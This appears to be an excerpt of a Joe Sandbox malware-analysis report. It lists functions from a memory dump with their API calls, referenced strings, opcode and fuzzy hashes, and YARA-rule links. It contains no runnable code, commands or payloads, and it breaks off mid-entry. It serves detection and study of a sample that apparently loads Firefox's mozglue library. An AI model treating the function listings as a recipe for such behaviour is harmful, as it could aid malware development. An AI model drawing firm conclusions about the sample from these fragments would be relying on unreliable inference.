API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: f4e07eff49d48b3cc437670b77891244ec14459a439bbbe197c0fc8590043e96
Instruction ID: ab1381ce8b1c4348099681e05906be39f2a34636fdf8ff30f6e2edbce4207af4
Opcode Fuzzy Hash: f4e07eff49d48b3cc437670b77891244ec14459a439bbbe197c0fc8590043e96
Instruction Fuzzy Hash: AD413871A187948BD320CF29C28579AFBE5BFC9714F509A2EE8DC87B51DB709444CB82

Function 6C73CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C72DA31,00100000,?,?,00000000,?), ref: 6C73CDA4

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

Part of subcall function 6C73D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C73CDBA,00100000,?,00000000,?,6C72DA31,00100000,?,?,00000000,?), ref: 6C73D158
Part of subcall function 6C73D130: InitializeConditionVariable.KERNEL32(00000098,?,6C73CDBA,00100000,?,00000000,?,6C72DA31,00100000,?,?,00000000,?), ref: 6C73D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C72DA31,00100000,?,?,00000000,?), ref: 6C73CDC4

Part of subcall function 6C737480: ReleaseSRWLockExclusive.KERNEL32(?,6C7415FC,?,?,?,?,6C7415FC,?), ref: 6C7374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C72DA31,00100000,?,?,00000000,?), ref: 6C73CECC

Part of subcall function 6C6FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6FCAA2

Part of subcall function 6C72CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C73CEEA,?,?,?,?,00000000,?,6C72DA31,00100000,?,?,00000000), ref: 6C72CB57
Part of subcall function 6C72CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C72CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C73CEEA,?,?), ref: 6C72CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C72DA31,00100000,?,?,00000000,?), ref: 6C73D058

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f5ed301638b2805b98f2c8c9c389ba1936a2ff4bfde4a35949acfaca71418797
Instruction ID: 9a6aeebfb9d129a682f8fda23d9f4627c3bff5efbca409e54660828d51871273
Opcode Fuzzy Hash: f5ed301638b2805b98f2c8c9c389ba1936a2ff4bfde4a35949acfaca71418797
Instruction Fuzzy Hash: 9ED17F71A04B169FD708CF28C580799F7E1BF99308F01976DD8598B712EB31E9A5CB81

Function 0040D240 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02659800,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D2C1
lstrlenA.KERNEL32(00000000), ref: 0040D4D8
lstrlenA.KERNEL32(00000000), ref: 0040D4EC
DeleteFileA.KERNEL32(00000000), ref: 0040D56B

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7e78ae22ad92b70c58e4e4ceb29126de351111aca2bf6ff1acc3a85efd256c17
Instruction ID: 8325bb90350937c6619b4da0629272dcf0a8b11a564c510209fa9f55f19f5abf
Opcode Fuzzy Hash: 7e78ae22ad92b70c58e4e4ceb29126de351111aca2bf6ff1acc3a85efd256c17
Instruction Fuzzy Hash: CF916472911108ABCB14FBB1DC56EEE7338AF54318F50416EF40772091EF786A98CB6A

Function 6C705C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C705D40
EnterCriticalSection.KERNEL32(6C76F688), ref: 6C705D67
__aulldiv.LIBCMT ref: 6C705DB4
LeaveCriticalSection.KERNEL32(6C76F688), ref: 6C705DED

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: e299ce4e212d843bbd246fe4b83105eb194bdf957d0f320d377d93832af992fd
Instruction ID: 97aebe115356539b0489a24a11cad357628d58fb358e07e43841ee611ed8aea8
Opcode Fuzzy Hash: e299ce4e212d843bbd246fe4b83105eb194bdf957d0f320d377d93832af992fd
Instruction Fuzzy Hash: 62516FB1F002198FCF08CF69C995BBEBBB2FB85304F19862AD815A7B51C7706945CB90

Function 6C6ECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6ECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C6ECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C6ECF4E

Strings

0, xrefs: 6C6ECF30

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: b78152a380b7f064aedfa2c78ba2bfdf0ae5ed83c7fd2e3dacdaa8a079e1a2d6
Instruction ID: c06c22a553a2a6b8c22a4ed7084ea3b7182d2a9f5cf59a8fb7ac17ecf8db225e
Opcode Fuzzy Hash: b78152a380b7f064aedfa2c78ba2bfdf0ae5ed83c7fd2e3dacdaa8a079e1a2d6
Instruction Fuzzy Hash: AE510375A0425A8FCB04CF18C890AAABBB5EF99300F19859ED85A5F351D731ED06CBE0

Function 6C726470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7282BC,?,?), ref: 6C72649B

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7264A9

Part of subcall function 6C71FA80: GetCurrentThreadId.KERNEL32 ref: 6C71FA8D
Part of subcall function 6C71FA80: AcquireSRWLockExclusive.KERNEL32(6C76F448), ref: 6C71FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C72653F
free.MOZGLUE(?), ref: 6C72655A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: edc772729adad289c7abad81802fa8ab820d0f2699dc29a30b9ee2070337f5de
Instruction ID: 8a80af1a3442e741a07cf5c8c08b85b4eca761b52662171e7afe274e28c50444
Opcode Fuzzy Hash: edc772729adad289c7abad81802fa8ab820d0f2699dc29a30b9ee2070337f5de
Instruction Fuzzy Hash: E63170B5A043159FD700CF15D988A9ABBE4FF89314F10442EE89A97741DB34EA19CB92

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 154a52856db1a36c13a1087e07be06801474524f1d0650fdf17c0744cb15a30d
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 154a52856db1a36c13a1087e07be06801474524f1d0650fdf17c0744cb15a30d
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 00418260 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
wsprintfA.USER32 ref: 004182F0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

%dx%d, xrefs: 004182E7

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 66e761acad43debc60f61778fff7699e4179135cb3781a94481e90bfcfef83f1
Instruction ID: 994268d552e07794471dd3910f4d3ddbdeb6f1ac9b11d1c79e25ca2fe4432fdb
Opcode Fuzzy Hash: 66e761acad43debc60f61778fff7699e4179135cb3781a94481e90bfcfef83f1
Instruction Fuzzy Hash: 492130B1A40608AFDB10DFA4DC45FAEBBB9FB48710F104119F605A7290C779A901CBA5

Function 6C6FB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6FB4F5
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C6FB502
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C6FB542
free.MOZGLUE(?), ref: 6C6FB578

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6f258e4fcf22702a8876550e36fdb27318561d64e70f6fd73eb6f975b41f9b4e
Instruction ID: ebdf05b61b8e8c642637ec81eab0c1a3fadbb513149b8928bfb194725b29029e
Opcode Fuzzy Hash: 6f258e4fcf22702a8876550e36fdb27318561d64e70f6fd73eb6f975b41f9b4e
Instruction Fuzzy Hash: 1C110330A04B45C7D3128F2AC9047A1B3B6FFD7318F14971AE85957E01EBB4B1C68794

Function 6C723DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C6EF20E,?), ref: 6C723DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C6EF20E,00000000,?), ref: 6C723DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C723E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C723E0E

Part of subcall function 6C71CC00: GetCurrentProcess.KERNEL32(?,?,6C6E31A7), ref: 6C71CC0D
Part of subcall function 6C71CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6E31A7), ref: 6C71CC16

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 215ad6971d7cc23b1bc5a2ad94b3cb1196f7b334d376134fc8747e11aa091c02
Instruction ID: 644d56ca2110f4aa2ad6c68143698892533dd9de5abd78cf6136cf8797f02593
Opcode Fuzzy Hash: 215ad6971d7cc23b1bc5a2ad94b3cb1196f7b334d376134fc8747e11aa091c02
Instruction Fuzzy Hash: 2DF0FE71A002087BEB00AB55DD49EBB376DEB46625F084031FD0857741D635BD2996E6

Function 00418D80 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(004135FE,80000000,00000003,00000000,00000003,00000080,00000000,?,004135FE,?), ref: 00418D9C
GetFileSizeEx.KERNEL32(000000FF,004135FE), ref: 00418DB9
CloseHandle.KERNEL32(000000FF), ref: 00418DC7

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 7d4822001714072e4f61ca82e69402512ca1f54a1caf0bddbc00baf73007a473
Instruction ID: 770d00e3666ed0433759a64a5a444c5c6416efc3bd62b2105a0957605b161097
Opcode Fuzzy Hash: 7d4822001714072e4f61ca82e69402512ca1f54a1caf0bddbc00baf73007a473
Instruction Fuzzy Hash: 7AF04F35F00708BBDB24DBB0EC59FDE77BAAB58710F10C258F611A72C0DA7496418B45

Function 6C7385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C7385D3

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C738725

Strings

map/set<T> too long, xrefs: 6C738720

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0d097800d06d59d61a53ea385978ea0091d12aefbd4d5cdd13fea55c180005b9
Instruction ID: ce1f29d87d430b314e48c81c1d354801e6773fedfa68cdaa0736baa6859aed77
Opcode Fuzzy Hash: 0d097800d06d59d61a53ea385978ea0091d12aefbd4d5cdd13fea55c180005b9
Instruction Fuzzy Hash: 8C5146B4600665CFD701CF28C288A55BBF1BF4A318F18C19AD8599BB63C775E845CF92

Function 6C6EBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C6EBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6EBE8F

Strings

0, xrefs: 6C6EBE5B

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: bd0057a07f48b2cc9e1e0447323eab2305f1eb01aa8545ca0c9bf6c92497945d
Instruction ID: 81fadcddc46b392d681feea3d76e6002a90ee7f1aae41b8f400184511252bb96
Opcode Fuzzy Hash: bd0057a07f48b2cc9e1e0447323eab2305f1eb01aa8545ca0c9bf6c92497945d
Instruction Fuzzy Hash: C8417F7190E745CFC711CF28C481A9BB7E4AFCE388F004A1EF98597611E73199598B9A

Function 6C723CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C723D19
mozalloc_abort.MOZGLUE(?), ref: 6C723D6C

Strings

d, xrefs: 6C723D58

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 5c245a8dd1549172c680654c55eeff19e34251852bac4b71c53bc668894fac6f
Instruction ID: d4c0afb12e033af06089af856ba87a7e2438cfe00f4f8ee6b513222b56896eb9
Opcode Fuzzy Hash: 5c245a8dd1549172c680654c55eeff19e34251852bac4b71c53bc668894fac6f
Instruction Fuzzy Hash: 5B112735E04788D7DB008B69CD198EDB779EF96318B848338DC449BA02FB34A584C750

Function 6C746DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C746E22
__Init_thread_footer.LIBCMT ref: 6C746E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C746E1D

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 89eeece69ced15598ffd19b9ced9e12b2d20c0bd0da0bc26e47815e695e8cd98
Instruction ID: 512aad1f5ea7a18734750380dc75914ac449153220f2b9b6712ab7095cc43fe6
Opcode Fuzzy Hash: 89eeece69ced15598ffd19b9ced9e12b2d20c0bd0da0bc26e47815e695e8cd98
Instruction Fuzzy Hash: 36F05936604380CBDB009B6ACB54FA133B57703318F081175C84087F51C722AB06CA93

Function 6C6F9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

